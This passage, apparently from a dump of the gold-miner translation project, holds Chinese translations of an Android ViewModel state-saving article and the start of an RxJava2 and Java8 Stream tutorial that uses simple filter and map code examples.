ViewModel 可以代理复杂数据的加载，一旦加载完成也可以作为临时的存储**。\n*   `onSaveInstanceState()` 在配置更改期间和 activity 进入后台时被调用；在这两种情况下，如果你的数据被保存在 ViewModel 中，实际上并不需要重新加载或者处理他们。\n\n### 我如何高效地使用 ViewModel 来保存和恢复 UI 状态？\n\n**简而言之**，你可以**混合**使用 **ViewModel**、 **`onSaveInstanceState()`**、**本地持久化**。继续读看看如何使用。\n\n重要的是你的 activity 维持着用户期望的状态，即便是屏幕旋转，系统关机或者用户重启。如我刚才所说，不要用复杂对象阻塞 `onSaveInstanceState` 方法同样也很重要。你也不想在你不需要的时候重新从数据库加载数据。让我们看一个 activity 的例子，在这个 activity 中你可以搜索你的音乐库：\n\n![](https://cdn-images-1.medium.com/max/800/1*KjsvodQeJCZwSWiwtPET2g.png)\n\nActivity 未搜索时及搜索后的状态示例。\n\n用户离开一个 activity 有两种常用的方式，用户期望的也是两种不同的结果：\n\n*  第一个是用户是否**彻底关闭**了 activity。如果用户将一个 activity 从 [recents screen](https://developer.android.com/guide/components/activities/recents.html) 中滑出或者[导航出去或退出](https://developer.android.com/training/design-navigation/ancestral-temporal.html)一个 activity 就可以彻底关闭它。这两种情形都假设**用户永久退出了这个 activity，如果重新进入那个 activity，他们所期望的是一个干净的页面**。对我们的音乐应用来说，如果用户完全关闭了音乐搜索的 activity 然后重新打开它，音乐搜索框和搜索结果都将被清除。\n*  另一方面，如果用户旋转手机或者 在activity 进入后台然后回来，用户希望搜索结果和他们想搜索的音乐仍存在，就像进入后台前那样。用户有数种途径可以使 activity 进入后台。他们可以按 home 键或者通过应用的其他地方导航（出去）。抑或在查看搜索结果的时候电话打了进来或收到通知。然而用户最终希望的是当他们返回到那个 activity 的时候页面状态与离开前完全一样。\n\n为了实现这两种情形下的行为，用可以将本地持久化、ViewModel 和 `onSaveInstanceState()` 一起使用。每一种都会存储 activity 中使用的不同数据：\n\n*  **本地持久化**是用于存储当打开或关闭 activity 的时所有你不想丢失的数据。\n\n   **举例：** 包含了音频文件和元数据的所有音乐对象的集合。\n*  **ViewModel** 是用于存储显示相关 UI 控制器的所需的所有数据。\n  \n   **举例：** 最近的搜索结果。\n*  **onSaveInstanceState** 是用于存储在 UI 控制器被系统终止又重建后可以轻松地重新加载 activity 状态时所需的少量数据。在本地存储中持久化复杂对象，在 `onSaveInstanceState()` 中为这些对象存储唯一的 ID，而不是直接存储复杂对象。\n   **举例：** 最近的搜索查询。\n\n在音乐搜索的例子中，不同的事件应该被这样处理：\n\n**用户添加一首音乐的时候 —** ViewModel 会迅速代理本地持久化这条数据。如果新添加的音乐需要在 UI 上显示，你还应该更新 ViewModel 中的数据来反应音乐的添加。谨记切勿在主线程中向数据库插入数据。 \n\n**当用户搜索音乐的时候 —** 任何从数据库为 UI 控制器加载的复杂音乐数据应该马上存入 ViewModel。你也应该将搜索查询本身存入 ViewModel。\n\n**当这个 activity 处于后台并且被系统终止的时候 —** 一旦 activity 进入后台 `onSaveInstanceState()` 就会被调用。你应将搜索查询存入 `onSaveInstanceState()` 的 bundle 里。这些少量数据易于保存。这同样也是使 activity 恢复到当前状态所需的所有数据。\n\n**当 activity 被创建的时候 —** 可能出现三种不同的方式：\n\n*   **Activity 是第一次被创建**：在这种情况下，`onSaveInstanceState()`方法中的 bundle 里是没有数据的，ViewModel 也是空的。创建 ViewModel 时，你传入一个空查询，ViewModel 会意识到还没有数据可以加载。这个 activity 以一种全新的状态启动起来。\n*   **Activity 在被系统终止后创建**：activity 的 `onSaveInstanceState()` 的 bundle 中保存了查询。Activity 会将这个查询传入 ViewModel。ViewModel发现缓存中没有搜索结果，就会使用给定的搜索查询代理加载搜索结果。\n*   **Activity 在配置更改后被创建**：Activity 会将本次查询保存在 `onSaveInstanceState()` 的 bundle 参数中并且 ViewModel 也会将搜索结果缓存起来。你通过 `onSaveInstanceState()` 的 bundle 将查询传入 ViewModel，这将决定它已加载了必须的数据从而**不**需要重新查询数据库。\n\n这是一个良好的保存和恢复 activity 状态的方法。基于你的 activity 的实现，你可能根本不需要 `onSaveInstanceState()`。例如，有些 activity 在被用户关闭后不会以一个全新的状态打开。一般地，当我在 Android 手机上关闭然后重新打开 Chrome 时，返回到了关闭 Chrome 之前正在浏览的页面。如果你的 activity 行为如此，你可以不使用 `onSaveInstanceState()` 而在本地持久化所有数据。同样以音乐搜索为例，那意味着在例如 [Shared Preferences](https://developer.android.com/reference/android/content/SharedPreferences.html) 中持久化最近的查询。\n\n此外，当你通过 intent 打开一个 activity，配置更改和系统恢复这个 activity 时 bundle 参数都会被传进来。如果搜索查询是通过 intent 的 extras 传进来，那么你就可以使用 extras 中的 bundle 代替 `onSaveInstanceState()` 中的 bundle。\n\n不过，在这两种场景中，你仍需要一个 ViewModel 来避免因配置更改而重新从数据库中加载数据导致的资源浪费。\n\n### ViewModel 是 Loader 的一个替代品吗？ \n\n**简而言之**，对，ViewModel 结合其他几个类可以代替 Loader 使用。\n\n[**Loader**](https://developer.android.com/guide/components/loaders.html) 是 UI 控制器用来加载数据的。此外，Loader 可以在配置更改期间保留，比如说在加载的过程中你旋转了手机屏幕。这听起来很耳熟吧！\n\nLoader ，特别是 [CursorLoader](https://developer.android.com/reference/android/content/CursorLoader.html)，的常见用法是观察数据库的内容并保持数据与 UI 同步。使用 CursorLoader 后，如果数据库其中的一个值发生改变，Loader 就会自动触发数据重新加载并且更新 UI。\n\n![](https://cdn-images-1.medium.com/max/800/1*QuZeqCSgKlrfD7CGQq1laA.png)\n\nViewModel 与其他架构组件 [LiveData](https://developer.android.com/topic/libraries/architecture/livedata.html) 和 [Room](https://developer.android.com/topic/libraries/architecture/room.html) 一起使用可以替代 Loader。ViewModel 保证配置更改后数据不丢失。LiveData 保证 UI 与数据同步更新。Room 确保你的数据库更新时，LiveData 被通知到。\n\n![](https://cdn-images-1.medium.com/max/800/1*Zc2mtVLw7y10MFZq4za7EA.png)\n\n由于 Loader 在 UI 控制器中作为回调被实现，因此 ViewModel 的一个额外优点是将 UI 控制器与数据加载分离开来。这可以减少类之间的强引用。\n\n一些使用 ViewModels 、LiveData 为加载数据的方法：\n\n*   在[这篇文章](https://medium.com/google-developers/lifecycle-aware-data-loading-with-android-architecture-components-f95484159de4)中，[Ian Lake](https://medium.com/@ianhlake) 概述了如何使用 ViewModel 和 LiveData 来代替 [AsyncTaskLoader](https://developer.android.com/reference/android/content/AsyncTaskLoader.html)。\n*   随着代码变得越来越复杂，你可以考虑在一个单独的类里进行实际的数据加载。一个 ViewModel 类的目的是为 UI 控制器持有数据。加载、持久化、管理数据这些复杂的方法超出了 ViewModel 传统功能的范围。[Guide to Android App Architecture](https://developer.android.com/topic/libraries/architecture/guide.html#fetching_data) 建议创建一个**仓库**类。\n\n> “仓库模块负责处理数据操作。他们为应用的其他部分提供了一套干净的 API。当数据更新时他们知道从哪里获取数据以及调用哪个 API。你可以把他们当做是不同数据源（持久模型、web service、缓存等）之间的协调员。” — [Guide to App Architecture](https://developer.android.com/topic/libraries/architecture/guide.html#fetching_data)\n\n### 结论以及进一步学习\n\n在本文中，我回答了几个关于 ViewModel 类是什么和不是什么的问题。关键点是：\n\n*   ViewModel 不是持久化的替代品 — 当数据改变时像平常那样持久化他们。\n*   ViewModel 不是 `onSaveInstanceState()` 的替代品，因为他们在与配置更改相关的销毁时保存数据，而不能在系统杀死应用进程时保存。\n*   `onSaveInstanceState()` 并不适用于那些需要长时间序列化/反序列化的数据。\n*   为了高效的保存和恢复 UI 状态，可以混合使用 持久化、`onSaveInstanceState()` 和 ViewModel。复杂数据通过本地持久化保存然后用 `onSaveInstanceState()` 来保存那些复杂数据的唯一 ID。ViewModel 在数据加载后将他们保存在内存中。\n*   在这个场景下，ViewModel 在 activity 旋转或者进入后台时仍保留数据，而单纯用 `onSaveInstanceState()` 并没那么容易实现。\n*   结合 ViewModel 和 LiveData 一起使用可以代替 Loader。你可以使用 Room 来代替 CursorLoader 的功能。\n*   创建仓库类来支持一个可伸缩的加载、缓存和同步数据的架构。\n\n想要更多 ViewModel 相关的干货？请看：\n\n*   [Instructions for adding the gradle dependencies](https://developer.android.com/topic/libraries/architecture/adding-components.html)\n*   [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) documentation\n*   Guided ViewModel practice with the [Lifecycles Codelab](https://codelabs.developers.google.com/codelabs/android-lifecycles/#0)\n*   Helpful samples that include ViewModel [[Architecture Components](https://github.com/googlesamples/android-architecture-components)] [[Architecture Blueprint using Lifecycle Components](https://github.com/googlesamples/android-architecture/tree/dev-todo-mvvm-live/)]\n*   The [Guide to App Architecture](https://developer.android.com/topic/libraries/architecture/guide.html)\n\n架构组件是基于你反馈来创建的。如果你有关于 ViewModel 或者任何架构组件的问题，请查看我们的[反馈页面](https://developer.android.com/topic/libraries/architecture/feedback.html)。关于本系列的任何问题，敬请留言。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md",
    "content": "> * 原文地址：[War against Learning Curve of RxJava2 + Java8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [Boiler Yao](https://github.com/boileryao)\n> * 校对者： [Vivienmm](https://github.com/Vivienmm)、[GitFuture](https://github.com/GitFuture)\n\n\n## 大战 RxJava2 和 Java8 Stream [ Android RxJava2 ] （这到底是什么） 第四部分 ##\n\n\n\n又是新的一天，如果学点新东西，这一天一定会很酷炫。\n\n小伙伴们一切顺利啊，这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)， [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)， [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经做好准备，可以开始使用 Rx 了。在使用 RxJava2 Android Observable 之前，我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8，而且通过使用 Java8 的 Stream API 让我感觉学习 RxJava2 Android 的过程更简单。\n**动机：**\n\n动机跟我在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 和大家分享过的一样。在我开始学习 RxJava2 Android 的时候，我并不知道自己会在什么地方，以何种方式使用到它。\n\n现在我们已经学会了一些预备知识，但当时我什么都不懂。因此我开始学习如何根据数据或对象创建 Observable 。然后知道了当 Observable 的数据发生变化时，应该调用哪些接口（或者可以叫做“回调”）。这在理论上很好，但是当我付诸实践的时候，却 GG 了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题，是不能用响应或者函数式响应的思维思考问题。我熟悉命令式编程和面向对象编程，由于先入为主，所以对我来说理解响应式会有些难。我一直在问这些问题：我该在哪里实现？我应该怎么实现？如果你能坚持看完这篇文章，我可以 100% 保证你会知道怎样把命令式代码转换成 Rx 代码，虽然写出来的 Rx 代码不是最好的，但至少你知道该从哪里入手了。\n\n**回顾：**\n\n我想回顾之前三篇文章中我们提到过的所有概念 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)、[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)、 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。因为现在我们要用到这些概念了。在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 我们学习了观察者模式； 在 [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) 学习了拉模式和推模式、命令式和响应式；在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 我们学习了函数式接口（Functional Interfaces）、 接口默认方法（Default Methods）、高阶函数（Higher Order Functions）、函数的副作用（Side Effects in Functions）、纯函数（Pure Functions）、Lambda 表达式和函数式编程。我在下面写了一些定义（很无聊的东西）。如果你清楚这些定义，可以跳到下一部分。\n**函数式接口是只有一个抽象方法的接口。**\n**在 Java8 我们可以在接口中定义方法，这种方法叫做“默认方法”。**\n**至少有一个参数是函数的函数和返回类型为函数的函数称为高阶函数。**\n**纯函数的返回值仅仅由参数决定，不会产生可见的副作用（比如修改一些影响程序状态的值。——译注）。**\n**Lambda 表达式在计算机编程中又叫做匿名函数，是一种在声明和执行的时候不会跟标识符绑定的函数或者子程序。**\n\n**简介：**\n\n今天我们将向 RxJava 的学习宣战。我确定在最后我们会取得胜利。\n\n作战策略：\n\n1. Java8 Stream（这使得我们快速开始，我们将从 Android 开发者的角度来看）\n\n2. Java8 Stream 向 Rx Observable 转变\n\n3. RxJava2 Android 示例\n\n4. 技巧，怎样把命令式代码转为 RxJava2 Android 代码\n\n是时候根据我们的策略发动进攻了，兄弟们上。\n\n**1. Java8 Stream:**\n\n现在我用 IntelliJ 这个 IDE 来写 Java8 的 Stream。你可能会想为什么我去使用在 Android 不支持的 Java8 的 Stream。对于这样想的同志，我来解释一下。主要有两个原因。首先，我知道几年后 Java8 将成为 Android 开发的一等公民。所以你应该了解关于 Stream 的 API，并且在面试中你可能被问到。而且，Java8 的 Stream 和 Rx Observable 在概念上很像。所以，为什么不一次性把这两个东西一起学了呢？其次，我感觉很多像我一样能力低下、懒惰并且不容易掌握概念的同志也可以在几分钟内了解这个概念。再次强调，我向你们 100% 地保证。通过学习 Java8 的 Stream 可以让你很快地学会 Rx。好，我们开始了。\n\nStream:\n\n支持在元素形成的流上进行函数式操作（比如在集合上进行的 map-reduce 变换）的类(*docs.oracle*)。\n\n第一个问题：在英语中 Stream 是什么意思？\n\n答案：一条很窄的小河，或者源源不断流动的液体、空气、气体。在编程的时候把数据转化成“流”的形式，比如我有一个字符串，但是我想把它变成“流”来使用的话我需要干些什么，我需要创建一个机制，使这个字符串满足“源源不断流动的液体、空气、气体 {**或者数据**}”的定义。问题是，我们为什么想要自己的数据变成“流”呢，下面是个简单的例子。\n\n就像下面这幅图中画的那样，我有一杯混合着大大小小石子的蓝色的水。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg)\n\n现在按照我们关于“流”的定义，我用下图中的方法将水转化成“流”。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg)\n\n为了让水变成水流，我把水从一个杯子倒进另一个杯子 里。现在我想去掉水中的大石子，所以我造了一个可以帮我滤掉大石子的过滤器。“大石子过滤器”如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg)\n\n现在，将这个过滤器作用在水流上，这会得到不包含大石子的水。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg)\n\n哈哈哈。 接下来，我想从水中清除掉所有石子。已经有一个过滤大石子的过滤器了，我们需要造一个新的来过滤小石子。“小石子过滤器”如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg)\n\n像下图这样，将两个过滤器同时作用于水流上。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png)\n\n哇哦~ 我已经感觉到你们领悟了我说的在编程中使用流所带来的好处是什么了。接下来，我想把水的颜色从蓝色变成黑色。为了达到这个目的，我需要造一个像下图这样的“水颜色转换器（mapper）”。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg)\n\n像下图这样使用这个转换器。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8-214x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8.jpg)\n\n把水转换成水流后，我们做了很多事情。我先用一个过滤器去掉了大石子，然后用另一个过滤器去掉了小石子， 最后用一个转换器（map）把水的颜色从蓝色变成黑色。\n\n当我将数据转换成流时，我将在编程中得到同样的好处。现在，我将把这个例子转换成代码。我要显示的代码是真正的代码。可能示例代码不能工作，但我将要使用的操作符和 API 是真实的，我们将在后面的实例中使用。所以，同志们不要把关注点放在编译上。通过这个例子，我有一种感觉，我们将很容易地把握这些概念。在这个例子中，重要的一点是，我使用 Java8 的 Stream API 而不是 Rx API。我不想让事情变困难，但稍后我也会使用 Rx。\n\n图像中的水 & 代码中的水：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg)\n\n```\npublic static void main(String [] args){\n    Water water = new Water(\"water\",10, \"big stone\", 1 , \"small stone\", 3);\n    // 含有一个大石子和三个小石子的十升水\n    for (String s : water) {\n        System.out.println(s);\n    }\n}\n```\n\n输出:\nwater\nwater\nbig stone\nwater\nwater\nsmall stone\nwater\nsmall stone\nsmall stone\nwater\nwater\nwater\nwater\nwater\n\n图像中的水流 & 代码中的水流：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg)\n\n```\npublic static void main(String[] args) {\n    Water water = new Water(\"water\", 10, \"big stone\", 1, \"small stone\", 3);\n    // 10 litre water with 1 big and 3 small stones.\n    water.stream();\n}\n\n//输出和上面那个一样\n```\n\n图像中的“大石子过滤器” & 代码中的“大石子过滤器”：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg)\n\n同志们这里需要注意下！\n\n在 Java8 Stream 中有个叫做 Predicate（谓词，可以判断真假，详情见离散数学中的相关定义——译注）的函数式接口。所以，如果我想进行过滤的话，可以用这个函数式接口实现流的过滤功能。现在，我给大家展示在我们的代码中如何创建“大石子过滤器”。\n\n```\nprivate static Predicate<String> BigStoneFilter  = new Predicate<String>() {\n    @Override\n    public boolean test(String s) {\n        return !s.equals(\"big stone\");\n    }\n};\n```\n\n正如我们在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 所学到的，任何函数式接口都可以转换成 Lambda 表达式。把上面的代码转换成 Lambda 表达式：\n\n```\nprivate static Predicate<String> BigStoneFilter  = s -> !s.equals(\"big stone\");\n```\n\n图像和代码中的作用在水流上的“大石子过滤器”：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg)\n\n```\npublic static void main(String[] args) {\n    Water water = new Water(\"water\", 10, \"big stone\", 1, \"small stone\", 3);\n    water.stream().filter(BigStoneFilter)\n    .forEach(s-> System.out.println(s));\n\n}\n\nprivate static Predicate<String> BigStoneFilter  = s -> !s.equals(\"big stone\");\n```\n\n这里我使用了 forEach 方法，暂时把这当作流上的 for 循环。用在这里仅仅是为了输出。除去没有这个方法，我们也已经实现了我们在图像中表示的内容。是时候看看输出了：\nwater\nwater\nwater\nwater\nsmall stone\nwater\nsmall stone\nsmall stone\nwater\nwater\nwater\nwater\nwater\n\n没有大石子了，这意味着我们成功过滤了水。\n\n图像中的“小石子过滤器” & 代码中的“小石子过滤器”：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg)\n\n```\nprivate static Predicate<String> SmallStoneFilter  = s -> !s.equals(\"small stone\");\n```\n\n在图像和代码中使用“小石子过滤器”：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png)\n\n```\npublic static void main(String[] args) {\n    Water water = new Water(\"water\", 10, \"big stone\", 1, \"small stone\", 3);\n    water.stream()\n            .filter(BigStoneFilter)\n            .filter(SmallStoneFilter)\n    .forEach(s-> System.out.println(s));\n}\n\nprivate static Predicate<String> BigStoneFilter  = s -> !s.equals(\"big stone\");\nprivate static Predicate<String> SmallStoneFilter  = s -> !s.equals(\"small stone\");\n```\n\n我不打算解释 **SmallStoneFilter**，它的实现和 **BigStoneFilter** 是一样一样的。这里我只展示输出。\n\nwater\nwater\nwater\nwater\nwater\nwater\nwater\nwater\nwater\nwater\n\n图像中的“水颜色转换器” 和 代码中的“水颜色转换器”\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg)\n\n同志们这里需要注意！\n\n在 Java8 Stream 中有个叫做 Function 的函数式接口。所以，当我想进行转换的时候，需要把这个函数式接口送到流的转换（map）函数里面。现在，我给大家展示在我们的代码中如何创建“水颜色转换器”。\n\n```\nprivate static Function<String, String > convertWaterColour = new Function<String, String>() {\n    @Override\n    public String apply(String s) {\n        return s+\" black\";\n    }\n};\n```\n\n这是一个函数式接口，所以我可以把它转换为 Lambda ：\n\n```\nprivate static Function<String, String > convertWaterColour = s -> s+\" black\";\n```\n\n简单来说，泛型中的第一个 String 代表我从水中得到什么，第二个 String 表示我会返回什么。 为了更好地掰扯清楚，我写了个把 Integer 转化成 String 的转换器。\n\n```\nprivate static Function<Integer, String > convertIntegerIntoString = i -> i+\" \";\n```\n\n回到我们原来的例子。\n\n为水流添加颜色转换器的图像和代码：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8-214x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8.jpg)\n\n```\npublic static void main(String[] args) {\n    Water water = new Water(\"water\", 10, \"big stone\", 1, \"small stone\", 3);\n    water.stream()\n            .filter(BigStoneFilter)\n            .filter(SmallStoneFilter)\n            .map(convertWaterColour)\n            .forEach(s -> System.out.println(s));\n}\n\nprivate static Predicate<String> BigStoneFilter = s -> !s.equals(\"big stone\");\nprivate static Predicate<String> SmallStoneFilter = s -> !s.equals(\"small stone\");\nprivate static Function<String, String> convertWaterColour = s -> s + \" black\";\n```\n\n输出:\nwater black\nwater black\nwater black\nwater black\nwater black\nwater black\nwater black\nwater black\nwater black\nwater black\n\n完活！现在我们再次回顾一些内容。\n\nfilter（过滤器）： Stream 有一个只接受 Predicate 这个函数式接口的方法。我们可以在 Predicate 里写作用在数据上的逻辑代码。\n\nmap（映射）：Stream 有一个只接受 Function 这个函数式接口的方法。我们可以在 Function 里写按照我们的要求转换数据的逻辑代码。\n\n在进入下个环节之前，我想解释一个曾经困惑我很久的东西。当我们在任意数据上使用 stream() 的时候，背后是怎样工作的。所以我要举一个例子。我有一个整数列表。我想在控制台上显示它们。\n\n```\npublic static void main(String [] args){\n    List<Integer> list = new ArrayList<>();\n    list.add(1);\n    list.add(2);\n    list.add(3);\n    list.add(4);\n}\n```\n\n使用命令式编程来打印数据：\n\n```\npublic static void main(String [] args){\n    List<Integer> list = new ArrayList<>();\n    list.add(1);\n    list.add(2);\n    list.add(3);\n    list.add(4);\n\n    for (Integer integer : list) {        \n\t    System.out.println(integer);   \n\t    \n\t }\n}\n```\n\n使用 Stream 或 Rx 的方式来打印数据：\n\n```\npublic static void main(String [] args){\n    List<Integer> list = new ArrayList<>();\n    list.add(1);\n    list.add(2);\n    list.add(3);\n    list.add(4);\n\n    list.stream().forEach(integer -> System.out.println(integer));\n\n}\n```\n\n对于以上两段代码，它们的不同点在哪呢？\n\n简单来说，在第一段代码中我自己管理 for 循环：\n\n```\nfor (Integer integer : list) {\n        System.out.println(integer);\n}\n```\n\n但是在第二段代码中，流（或者稍后后要展示的 Rx 中的 Observable）进行循环：\n\n```\nlist.stream().forEach(integer -> System.out.println(integer));\n```\n\n我认为很多事情都说清楚了，是时候用 Rx 来写个真实的例子了。在这个例子中，我会同时使用流式编码（stream code）和响应式编码（Rx code），这样大家可以更容易地掌握这俩的概念。\n\n**2. Java8 Stream to Rx Observable:**\n\n有一个存有 “Hello World” 的列表。 在图片中，把它视作字符串。在代码中把它看作列表，这样比较好解释。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_9-300x258.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_9.jpg)\n\nJava8 的 Stream 代码：\n\n```\npublic static void main(String [] args){\n\n    List<String> list = new ArrayList<>();\n    list.add(\"H\");\n    list.add(\"e\");\n    list.add(\"l\");\n    list.add(\"l\");\n    list.add(\"o\");\n    list.add(\" \");\n    list.add(\"W\");\n    list.add(\"o\");\n    list.add(\"r\");\n    list.add(\"l\");\n    list.add(\"d\");\n    list.stream(); // Java8\n}\n\n```\n\nAndroid 中的代码：\n\n```\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        List<String> list = new ArrayList<>();\n        list.add(\"H\");\n        list.add(\"e\");\n        list.add(\"l\");\n        list.add(\"l\");\n        list.add(\"o\");\n        list.add(\" \");\n        list.add(\"W\");\n        list.add(\"o\");\n        list.add(\"r\");\n        list.add(\"l\");\n        list.add(\"d\");\n\n        Observable.fromIterable(list);\n                \n    }\n}\n```\n\n在这里展示了 Java8 代码和 Android 代码。从现在开始，我只给出代码中的响应式（Reactive）部分而不给出完整的一个类。完整代码分享在文章的最后了。上面的代码将变成这样：\n\nAgain above example:\n\n```\nlist.stream(); // Java8\n\nObservable.fromIterable(list); // Android\n```\n\n这两者会有相同的结果，这样来输出整个列表：\n\n```\nlist.stream()\n       .forEach(s-> System.out.print(s)); // Java8\n\nObservable.fromIterable(list)\n        .forEach(s-> Log.i(\"Android\",s)); // Android\n\nJava8 的输出:\n     Hello World\nAndroid 的输出:\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: H\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: e\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: o\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: \n03-12 15:55:33.561 